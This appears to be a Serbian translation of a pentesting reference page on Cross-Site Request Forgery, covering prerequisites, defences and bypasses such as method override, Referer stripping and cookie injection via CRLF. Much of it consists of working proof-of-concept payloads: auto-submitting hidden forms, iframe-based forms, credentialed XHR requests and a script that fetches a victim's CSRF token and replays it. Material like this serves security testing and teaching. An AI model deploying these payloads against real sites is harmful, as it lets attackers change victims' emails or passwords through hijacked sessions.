Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us onDiscord and start collaborating with top hackers today!
Cross-Site Request Forgery (CSRF) Explained
Cross-Site Request Forgery (CSRF) je vrsta bezbednosne ranjivosti koja se nalazi u web aplikacijama. Omogućava napadačima da izvrše radnje u ime nesvesnih korisnika iskorišćavanjem njihovih autentifikovanih sesija. Napad se izvršava kada korisnik, koji je prijavljen na platformu žrtve, poseti zlonamernu stranicu. Ova stranica zatim pokreće zahteve na račun žrtve putem metoda kao što su izvršavanje JavaScript-a, slanje obrazaca ili preuzimanje slika.
Prerequisites for a CSRF Attack
Da bi se iskoristila CSRF ranjivost, nekoliko uslova mora biti ispunjeno:
Identify a Valuable Action: Napadač treba da pronađe radnju koja vredi iskorišćavanja, kao što je promena lozinke korisnika, email-a ili povećanje privilegija.
Session Management: Sesija korisnika treba da se upravlja isključivo putem kolačića ili HTTP Basic Authentication zaglavlja, jer se druga zaglavlja ne mogu manipulisati u tu svrhu.
Absence of Unpredictable Parameters: Zahtev ne bi trebao sadržati nepredvidive parametre, jer oni mogu sprečiti napad.
Quick Check
Možete uhvatiti zahtev u Burp-u i proveriti CSRF zaštite, a da biste testirali iz pregledača, možete kliknuti na Copy as fetch i proveriti zahtev:
Defending Against CSRF
Nekoliko mera zaštite može se implementirati kako bi se zaštitili od CSRF napada:
User Verification: Traženje lozinke korisnika ili rešavanje captcha može potvrditi nameru korisnika.
Checking Referrer or Origin Headers: Validacija ovih zaglavlja može pomoći da se osigura da zahtevi dolaze iz pouzdanih izvora. Međutim, pažljivo kreiranje URL-ova može zaobići loše implementirane provere, kao što su:
Korišćenje http://mal.net?orig=http://example.com (URL se završava sa pouzdanim URL-om)
Korišćenje http://example.com.mal.net (URL počinje sa pouzdanim URL-om)
Modifying Parameter Names: Promena imena parametara u POST ili GET zahtevima može pomoći u sprečavanju automatizovanih napada.
CSRF Tokens: Uključivanje jedinstvenog CSRF tokena u svaku sesiju i zahtev za ovim tokenom u narednim zahtevima može značajno smanjiti rizik od CSRF. Efikasnost tokena može se poboljšati primenom CORS-a.
Razumevanje i implementacija ovih odbrana su ključni za održavanje bezbednosti i integriteta web aplikacija.
Defences Bypass
From POST to GET
Možda je obrazac koji želite da zloupotrebite pripremljen da pošalje POST zahtev sa CSRF tokenom, ali trebate proveriti da li je GET takođe validan i da li kada pošaljete GET zahtev CSRF token još uvek se validira.
Lack of token
Aplikacije mogu implementirati mehanizam za validaciju tokena kada su prisutni. Međutim, ranjivost nastaje ako se validacija potpuno preskoči kada token nije prisutan. Napadači mogu iskoristiti ovo tako što će ukloniti parametar koji nosi token, ne samo njegovu vrednost. Ovo im omogućava da zaobiđu proces validacije i efikasno izvrše napad Cross-Site Request Forgery (CSRF).
CSRF token is not tied to the user session
Aplikacije koje ne vezuju CSRF tokene za korisničke sesije predstavljaju značajan bezbednosni rizik. Ovi sistemi verifikuju tokene protiv globalnog bazena umesto da osiguraju da je svaki token vezan za inicijalnu sesiju.
Evo kako napadači to koriste:
Authenticate koristeći svoj račun.
Obtain a valid CSRF token iz globalnog bazena.
Use this token u CSRF napadu protiv žrtve.
Ova ranjivost omogućava napadačima da šalju neovlašćene zahteve u ime žrtve, iskorišćavajući neadekvatan mehanizam validacije tokena aplikacije.
Method bypass
Ako zahtev koristi "čudan" metod, proverite da li funkcionalnost overridemetoda radi. Na primer, ako koristi PUT metod, možete pokušati da koristite POST metod i pošaljete: https://example.com/my/dear/api/val/num?_method=PUT
Ovo takođe može raditi slanjem _method parametra unutar POST zahteva ili korišćenjem zaglavlja:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Custom header token bypass
Ako zahtev dodaje prilagođeno zaglavlje sa tokenom kao metod zaštite od CSRF, onda:
Testirajte zahtev bez prilagođenog tokena i zaglavlja.
Testirajte zahtev sa tačno istom dužinom, ali različitim tokenom.
CSRF token is verified by a cookie
Aplikacije mogu implementirati zaštitu od CSRF tako što će duplirati token u kolačiću i parametru zahteva ili postavljanjem CSRF kolačića i verifikovanjem da li token poslat u pozadini odgovara kolačiću. Aplikacija validira zahteve proverom da li se token u parametru zahteva poklapa sa vrednošću u kolačiću.
Međutim, ova metoda je ranjiva na CSRF napade ako veb sajt ima greške koje omogućavaju napadaču da postavi CSRF kolačić u pretraživaču žrtve, kao što je CRLF ranjivost. Napadač može iskoristiti ovo tako što će učitati obmanjujuću sliku koja postavlja kolačić, nakon čega pokreće CSRF napad.
Ispod je primer kako bi napad mogao biti strukturiran:
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body></html>
Imajte na umu da ako je csrf token povezan sa sesijskim kolačićem, ovaj napad neće uspeti jer ćete morati da postavite žrtvi vašu sesiju, a samim tim ćete napadati sebe.
Promena Content-Type
Prema ovome, kako bi se izbegli preflight zahtevi korišćenjem POST metode, ovo su dozvoljene vrednosti Content-Type:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Međutim, imajte na umu da logika servera može varirati u zavisnosti od korišćenog Content-Type, pa bi trebalo da isprobate pomenute vrednosti i druge poput application/json,text/xml, application/xml.
Primer (iz ovde) slanja JSON podataka kao text/plain:
Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje Content-Type: application/json u HTML formi nije direktno moguće. Slično tome, korišćenje XMLHttpRequest za slanje ovog tipa sadržaja pokreće preflight zahtev. Ipak, postoje strategije za potencijalno zaobilaženje ove ograničenja i proveru da li server obrađuje JSON podatke bez obzira na Content-Type:
Use Alternative Content Types: Koristite Content-Type: text/plain ili Content-Type: application/x-www-form-urlencoded postavljanjem enctype="text/plain" u formi. Ovaj pristup testira da li backend koristi podatke bez obzira na Content-Type.
Modify Content Type: Da biste izbegli preflight zahtev dok osiguravate da server prepoznaje sadržaj kao JSON, možete poslati podatke sa Content-Type: text/plain; application/json. Ovo ne pokreće preflight zahtev, ali bi moglo biti ispravno obrađeno od strane servera ako je konfigurisan da prihvati application/json.
SWF Flash File Utilization: Manje uobičajena, ali izvodljiva metoda uključuje korišćenje SWF flash datoteke za zaobilaženje takvih ograničenja. Za detaljno razumevanje ove tehnike, pogledajte ovaj post.
Referrer / Origin check bypass
Avoid Referrer header
Aplikacije mogu validirati 'Referer' header samo kada je prisutan. Da biste sprečili pretraživač da pošalje ovaj header, može se koristiti sledeći HTML meta tag:
<metaname="referrer"content="never">
Ovo osigurava da 'Referer' zaglavlje bude izostavljeno, potencijalno zaobilazeći provere validacije u nekim aplikacijama.
Da biste postavili naziv domena servera u URL-u koji će Referrer poslati unutar parametara, možete uraditi:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
HEAD метод заобилажења
Први део овог CTF извештаја објашњава да је Изворни код Ока, рутер подешен да обрађује HEAD захтеве као GET захтеве без тела одговора - уобичајена заобилазница која није јединствена за Ок. Уместо специфичног обрађивача који се бави HEAD захтевима, они су једноставно дати GET обрађивачу, али апликација само уклања тело одговора.
Стога, ако је GET захтев ограничен, можете једноставно послати HEAD захтев који ће бити обрађен као GET захтев.
Примери експлоатације
Екстракција CSRF токена
Ако се CSRF токен користи као одбрана, можете покушати да екстрахујете злоупотребом XSS рањивости или Данглинг Маркуп рањивости.
GET користећи HTML тагове
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
Drugi HTML5 tagovi koji se mogu koristiti za automatsko slanje GET zahteva su:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Form POST zahtev
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
Form POST zahtev kroz iframe
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Ajax POST zahtev
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Ukrao CSRF token i poslao POST zahtev
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
Ukrao CSRF token i poslao Post zahtev koristeći iframe, formu i Ajax
Kod se može koristiti za Brut Force forme za prijavu koristeći CSRF token (takođe koristi header X-Forwarded-For da pokuša da zaobiđe moguće crnjenje IP adresa):